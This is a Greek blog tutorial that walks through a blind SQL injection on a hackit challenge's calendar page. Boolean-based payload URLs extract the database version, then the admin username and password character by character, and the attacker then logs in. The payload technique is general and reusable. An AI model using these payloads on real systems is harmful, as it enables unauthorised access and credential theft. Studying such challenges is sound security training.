!ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!

ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!
**** Σε αυτό το blog μερικά από τα άρθρα είναι αναδημοσιεύσεις από άρθρα του διαδικτύου και άλλα είναι προσωπικά tutorial που αναφέρονται σε διάφορα θέματα. Τα παραπάνω έγιναν για ενημέρωση του κοινού και εμπλουτισμό της εκπαιδευτικής διεύρυνσης. Όλα τα άρθρα είναι για εκπαιδευτικούς και μόνο σκοπούς. Δεν φέρω καμία ευθύνη εάν κάποιος αναγνώστης τα χρησιμοποιήσει κακόβουλα. ****

Τρίτη 19 Φεβρουαρίου 2013

Blind SQL injection


Σε προηγούμενο tutorial ασχοληθήκαμε με τυπικές και αρκετά απλές- επιθέσεις SQL injection. Καιρός να μπούμε πλέον, σε λίγο πιο βαθιά νερά!
Όπως θα θυμάστε απ’ όσα είχαμε αναφέρει, κατά τη διάρκεια μίας τυπικής (κυρίως error–based) επίθεσης SQL injection, συνήθως δοκιμάζουμε κάποιες λίγο–πολύ «κλασικές» εντολές SQL στον server που έχουμε ως στόχο. Στην περίπτωση που ο server, μετά τις δοκιμές μας, ανταποκριθεί «θετικά», δηλαδή, εμφανίσει κάποιο μήνυμα λάθους (ή γενικότερα συμπεριφερθεί κάπως μη αναμενόμενα), τότε υπάρχει μεγάλη πιθανότητα να είναι ευπαθής σε SQL injection.
Σίγουρα, έχουν υπάρξει πολλές φορές που ενώ προσπαθούμε να εκτελέσουμε μία τέτοιου είδους επίθεση απέναντι σε έναν στόχο που μας έχουν αναθέσει (είτε σε κάποια δουλειά είτε σε κάποιο διαγωνισμό Capture The Flag κ.λπ.) και παρατηρώντας τη γενικότερη συμπεριφορά του στόχου μας, αντιλαμβανόμαστε ότι όντως «κάτι τρέχει». Όταν, όμως, δοκιμάζουμε ορισμένες απ’ τις κλασικές εντολές SQL, δεν παίρνουμε κάποιο αξιόλογο, κατά την άποψή μας αποτέλεσμα, ώστε να βασιστούμε πάνω του και να συνεχίσουμε την έρευνά μας!

Μήπως, όμως, η λύση βρίσκεται μπροστά μας και απλώς εμείς δεν τη βλέπουμε;

Το τι εννοούμε, θα το καταλάβετε στη συνέχεια. Ένα τέτοιο παράδειγμα αποτελεί και το δεύτερο level μίας σειράς από hackit challenges.
Κάποιος που δεν διαθέτει ιδιαίτερη εμπειρία σε επιθέσεις τέτοιου τύπου και έπειτα από μερικά tests, πιθανώς να πιστέψει ότι η παραπάνω σελίδα δεν πάσχει από κάποια ευπάθεια την οποία θα μπορούσε να την εκμεταλλευτεί με SQL injection. Ίσως, πράγματι με την πρώτη ματιά να φαίνεται έτσι, αλλά πολλές φορές τα φαινόμενα απατούν! Γι αυτό λοιπόν σε αυτό το tutorial θα αναλύσουμε την επίθεση Blind SQL injection.

Λίγη, θεωρία...

Όσοι δεν είχατε ακούσει στο παρελθόν αυτόν το ορισμό, σίγουρα θα έχετε αρχίσει να αναρωτιέστε «μα τι στο καλό είναι αυτό το Blind SQL injection;», καθώς και «τι διαφορά έχει από μία τυπική επίθεση SQL injection;». Ας πάρουμε τα πράγματα με τη σειρά. Κατ’ αρχάς, αξίζει να σημειώσουμε ότι η λογική μίας τυπικής επίθεσης Blind SQL injection δεν διαφέρει σε τίποτε απολύτως από μία απλή επίθεση SQL injection, αφού και στις δύο περιπτώσεις, εκτελώντας εντολές SQL ενάντια σε έναν στόχο, προσπαθούμε να αποσπάσουμε ευαίσθητες πληροφορίες (όπως κωδικοί πρόσβασης, ονόματα χρηστών, e–mails κ.λπ.) μέσα από τη βάση δεδομένων στην οποία επιτιθέμεθα. H ουσιαστική διαφορά είναι στα μηνύματα λάθους που πιθανώς να εμφανίζει ο στόχος μας. Στην περίπτωση της Blind SQL injection, όταν εκτελούμε διάφορες εντολές στο στόχο μας, δεν παίρνουμε κάποια «ουσιαστική» ανταπόκριση. Για παράδειγμα κάποιο όνομα από table, column κ.λπ., όπως στην περίπτωση των προηγούμενων άρθρων. Αντίθετα, αυτό που παίρνουμε, είναι θετικά η αρνητικά responses (ανταποκρίσεις) απ’ το στόχο, με αποτέλεσμα να συνεχίζουμε στα «τυφλά» την επίθεσή μας. Έτσι, ο λόγος που η συγκεκριμένη επίθεση πήρε το όνομα «Blind» (=τυφλή) είναι πλέον μάλλον προφανής.

Συλλέγοντας τα απαραίτητα στοιχεία!

Το πρώτο που θα πρέπει να κάνουμε προτού αρχίσουμε να δοκιμάζουμε διάφορες SQL εντολές απέναντι στο στόχο μας, είναι να ξεκινήσουμε να συλλέγουμε όσο το δυνατό περισσότερα στοιχεία. Στη σελίδα όπου βρισκόμαστε, παρατηρούμε ότι υπάρχει μία απλή εφαρμογή ημερολογίου. Σε μία λίστα (στο πτυσσόμενο μενού) έχουν καταχωριστεί απ’ το διαχειριστή της σελίδας μερικές ημερομηνίες. Ακριβώς δίπλα, υπάρχει ένα κουμπί, «Check!», το οποίο, όταν επιλέξει ο χρήστης κάποια απ’ τις διαθέσιμες ημερομηνίες, εκτελεί έναν έλεγχο σχετικά με το αν έχουν καταχωριστεί ή όχι meetings τη συγκεκριμένη ημερομηνία. Σε περίπτωση που όντως έχει καταχωριστεί κάποιο meeting, θα εμφανιστεί με μεγάλα γράμματα στη σελίδα το ανάλογο μήνυμα, «You ’ve got a meeting!», ενώ αντίστοιχα, αν δεν υπάρχει κάποια καταχώριση, θα εμφανιστεί το «No meeting this day!». Αν ρίχναμε μία ματιά στον source code της σελίδας, μπορούμε να αποκτήσουμε μία πιο σφαιρική άποψη...
1</pre>
2<form action=”level2.php” method=”get”>
3<select name=”date”>
4<option value=”8022010”>08.02.2010</option>
5<option value=”9022010”>09.02.2010</option>
6<option value=”10022010”>10.02.2010</option>
7<option value=”11022010”>11.02.2010</option>
8<option value=”12022010”>12.02.2010</option>
9</select><input type=”submit” value=”Check!”> 

Η μέθοδος που βλέπουμε στην πρώτη σειρά, καθορίζει τον τρόπο με τον οποίο θα σταλούν τα δεδομένα στον server, ώστε στη συνέχεια να τα επεξεργαστεί. Μία μέθοδος μπορεί να πάρει τις τιμές “GET” ή “POST”.
Στην περίπτωσή μας γίνεται χρήση της μεθόδου “GET”. Κατά τη χρήση της μεθόδου “GET”, τα δεδομένα προστίθενται στο τέλος του URL. Αν επιλέξουμε μέσα απ’ τη λίστα την ημερομηνία 12.02.2010 και πατήσουμε το κουμπί Check!, η μεταβλητή “date” θα πάρει την τιμή “12022010” και στη συνέχεια θα κάνει έναν έλεγχο για καταχωρισμένα meetings! Τέλος, θα μας εμφανίσει στη σελίδα, το μήνυμα «You ‘ve got a meeting!». Ας δοκιμάσουμε να «εξετάσουμε» πόσο ασφαλής είναι αυτή η εφαρμογή. Ως γνωστόν, το πρώτο πράγμα που κάνουμε (για να ελέγξουμε αν υπάρχει κάποια ευπάθεια), είναι να εισαγάγουμε στο τέλος του URL ένα μονό εισαγωγικό “ ‘ ” και να παρατηρήσουμε την αντίδραση. Αφού εισαγάγαμε κάτι τέτοιο, διαπιστώνουμε ότι ο στόχος μας αποκρίνεται κάπως «παράξενα», εμφανίζοντας ένα ασυνήθιστο μήνυμα λάθους, το οποίο σαφώς δεν θα έπρεπε να βλέπουμε εμείς.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\\\’’ at line 1

Έτσι αντιλαμβανόμαστε ότι είμαστε σε καλό δρόμο, μια και όντως υπάρχει κάποιο πρόβλημα. Αυτό σημαίνει ότι κατά πάσα πιθανότητα αυτή η εφαρμογή είναι ευπαθής σε SQL Injection. Συγκεκριμένα, η παράμετρος “date” έχει πρόβλημα. Βέβαια, τα προβλήματα ξεκινούν, όταν δοκιμάζουμε να εκτελέσουμε κάτι σαν @@VERSION (ώστε να μας επιστρέψει την έκδοση του SQL server). Δυστυχώς δεν έχουμε κάποιο αποτέλεσμα και γενικά παρατηρούμε ότι δεν «προχωρά» η επίθεσή μας. Σκεφτόμαστε ότι μάλλον είναι μία καλή ευκαιρία να δοκιμάσουμε στην πράξη ένα Blind SQL injection.
Θυμάστε τι σας είχα αναφέρει προηγουμένως σχετικά με τη διαφορά της απλής επίθεσης SQL injection σε σχέση με την Blind SQL injection; Ότι σε μία Blind SQL injection, αυτό που παίρνουμε δεν είναι μηνύματα λάθους, αλλά θετικά ή αρνητικά responses (ανταποκρίσεις) απ’ το στόχο.
Έτσι, θα χρειαστεί κάνουμε χρήση της αληθούς λογικής συνθήκης “and 1=1” στο τέλος του URL, δηλαδή, θα έχουμε αυτό:

Θα δούμε να αναγράφει το μήνυμα, «You ’ve got a meeting!
 

Αυθαίρετα, λοιπόν, ορίζουμε αυτό ως το αληθές μήνυμα που θα χρησιμοποιήσουμε στη συνέχεια. Τι θα γινόταν άραγε, αν κάναμε χρήση μίας συνθήκης η οποία είναι ψευδής; Για να το ανακαλύψουμε, θα πρέπει να αλλάξουμε το αληθές “and 1=1” σε κάτι που ΔΕΝ ισχύει, για να δούμε αν είναι τρωτή η ιστοσελίδα μας ή όχι! Βάζοντας, λοιπόν, στο τέλος του URL το “and 1=2”.

Συνοψίζοντας, λοιπόν, σε γενικές γραμμές, για να δούμε αν μία ιστοσελίδα είναι τρωτή σε Blind SQL injection, κάνουμε αυτό που σας περιγράψαμε παραπάνω. Αν παρατηρήσουμε κάποια αλλαγή, τροποποιώντας τις συνθήκες από αληθείς σε ψευδείς και αντίστροφα, μπορούμε να προχωρήσουμε παρακάτω. Προτού προχωρήσουμε, όμως, στην κυρίως επίθεση, αξίζει να αναφέρουμε ότι όλες οι εντολές θα «δίνονται» παρόμοια, με τον τρόπο που αναφέραμε προηγουμένως. Δηλαδή, δίνουμε εμείς διάφορες συνθήκες και βλέπουμε πώς αντιδρά σε αυτές η σελίδα!

Το πρώτο test μας!

Σε περίπτωση που θέλουμε να ελέγξουμε την έκδοση SQL που «τρέχει» η ιστοσελίδα, βάζουμε την εντολή:

http://invi.phpnet.us/level2.php?date=12022010 and substring(@@version,1,1)=4

και παρατηρούμε τι θα μας επιστρέψει η σελίδα! Βλέπουμε ότι μας επέστρεψε το μήνυμα της ψεύδους  συνθήκης! Αυτό σημαίνει η έκδοση SQL ΔΕΝ είναι 4! Άρα, δοκιμάζουμε να αλλάξουμε το 4 σε 5 και να τρέξουμε ξανά την εντολή, με αυτή τη μορφή πλέον:

http://invi.phpnet.us/level2.php?date=12022010 and substring(@@version,1,1)=5

Το μήνυμα που εμφανιζόταν πριν στην ψευδή συνθήκη άλλαξε και αντικαταστάθηκε απ’ το μήνυμα της αληθούς! Αυτό, με απλά λόγια σημαίνει ότι καταφέραμε να ανακαλύψουμε την έκδοση SQL που «τρέχει» η σελίδα! Είναι η 5!

Εξαπολύοντας την επίθεσή μας, αλλά στα τυφλά!

Στην προκειμένη περίπτωση, έχουμε στο χέρι αρκετά στοιχεία. Γνωρίζουμε απ’ την εκφώνηση της άσκησης, “you gotta hack and login as admin (table name is “level2_users”)”, ότι πρέπει να ανακαλύψουμε το συνθηματικό του χρήστη “admin”, καθώς και ότι το table που περιέχει τα στοιχεία που μας ενδιαφέρουν, δηλαδή, usernames και passwords, έχει την ονομασία “level2_users”. Εμείς, όμως, για περισσότερη εξάσκηση, θα σας δείξουμε πώς θα ανακαλύπταμε και το username του χρήστη που μας ενδιέφερε, ακόμη και αν δεν το γνωρίζαμε εξαρχής, όπως στο παράδειγμά μας.
Για να βρούμε, λοιπόν, το πρώτο γράμμα που αντιστοιχεί στο username του χρήστη που ψάχνουμε, θα χρειαστεί να εισαγάγουμε την εντολή:


and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=id_του_χρήστη),θέση,1))>γράμμα_σε_ascii.

Για να ανακαλύψουμε το πρώτο γραμμα που αντιστοιχεί στο username του χρήστη που ψάχνουμε, θα πρέπει να τροποποιήσουμε την παραπάνω εντολή ανάλογα με τα ζητούμενά μας. Δηλαδή, αν υποθέσουμε ότι αναζητούμε το πρώτο γράμμα του username του χρήστη με id=1 (συνήθως ο διαχειριστής έχει id=1) θα δώσουμε την εντολή:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>1

Προσοχή: Την τιμή “γράμμα_σε_ascii” την αυξάνουμε ή τη μειώνουμε ανάλογα με τα responses που παίρνουμε απ’ τη σελίδα. Για να το κάνουμε αυτό, ξεκινάμε από μία «χαμηλή» ascii τιμή. Για παράδειγμα, μπορούμε να ξεκινήσουμε απ’ το 30:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>30

Η συνθήκη αυτή θα μας επιστρέψει θετικό response («You ’ve got a meeting!»).Συνεχίζουμε και αυξάνουμε την τιμή “30” με ό,τι ρυθμό θέλουμε (σας προτείνουμε ανά 20 ή 30). Καλό είναι να θυμόμαστε ότι θα αυξάνουμε αυτή την τιμή μέχρι να πάρουμε το μήνυμα της αρνητικής συνθήκης, «No meeting this day!». Μετά αρχίζουμε πάλι να μειώνουμε την τιμή, έως ότου βρούμε την τιμή όπου αλλάζει το μήνυμα από θετικό σε αρνητικό και αντίστροφα.

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>97

Έτσι, έπειτα από αρκετές προσπάθειες και αυξομειώσεις της τιμής, ανακαλύψαμε ότι ο χαρακτήρας (σε ascii) που μας ενδιαφέρει, είναι μεγαλύτερος από το 96, αφού όταν βάζουμε “96”, έχουμε θετικό response (εικόνα 3), αλλά όχι μεγαλύτερος από 97, όπου μας επιστρέφει αρνητικό (εικόνα 4) αποτέλεσμα για πρώτη φορά.


Οπότε, συμπεραίνουμε ότι το πρώτο γράμμα είναι το “a”, αφού γνωρίζουμε ότι το 97 σε ascii αντιστοιχεί στο γράμμα “a”. Αντίστοιχα εργαζόμαστε και για τα υπόλοιπα γράμματα του username, μέχρι να συναντήσουμε το σύμβολο “:”, όπου από εκεί και μετά ξεκινά το password.

Προσοχή: Το χαρακτήρα “:”, τον βάλαμε επίτηδες για να καταλάβουμε πού τελειώνει το username και πού ξεκινά το password. Φυσικά, θα μπορούσαμε να είχαμε χρησιμοποιήσει κάποιον άλλο χαρακτήρα

Το 2o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),2,1))>100
“d”

Το 3ο γράμμα :


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),3,1))>109
“m”

Το 4o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),4,1))>105
“i”

Το 5ο γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),5,1))>110
 “n”

Τέρμα με το username! Είναι όντως η λέξη “admin”! Λογικά σκεπτόμενοι, ο επόμενος χαρακτήρας που θα ακολουθήσει, είναι το “:”

Το 6ο γράμμα:



http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),6,1))>58
“:”

Συνεχίζουμε να εργαζόμαστε με τον ίδιο ακριβώς τρόπο, ώστε να βρούμε και το συνθηματικό!


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),7,1))>119
“w”

Το 8o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),8,1))>101
“e”

Το 9o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),9,1))>97
“a”

Το 10o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),10,1))>107
“k”

To 11o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),11,1))>97
“a”
Το 12o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),12,1))>100
“d”

Το 13o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),13,1))>109
“m”

Το 14o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),14,1))>105
“i”

Το 15o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),15,1))>110
“n”

Το 16o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),16,1))>112
“p”

Το 17o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),17,1))>119
“w”

Παρατηρούμε ότι, δεν υπάρχει επόμενο γράμμα στο password, ώστε να συνεχίσουμε την αναζήτηση μας και να το προσθέσουμε!

Επιτέλους μετά από αρκετή ώρα έρευνας βρίσκουμε τον κωδικό πρόσβασης του διαχειριστή της σελίδας.

Καταφέραμε, τελικά, έπειτα από αρκετές προσπάθειες, να «μαντέψουμε» το password του χρήστη “admin”, το οποίο είναι “weakadminpw”.
Δοκιμάσαμε στη συνέχεια να συνδεθούμε με αυτά τα στοιχεία στο login που υπάρχει στην ίδια σελίδα.
 

Τελικά, ανακαλύψαμε το password του “admin” και συνδεθήκαμε.


ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

0 σχόλια:

Δημοσίευση σχολίου

Σημείωση: Μόνο ένα μέλος αυτού του ιστολογίου μπορεί να αναρτήσει σχόλιο.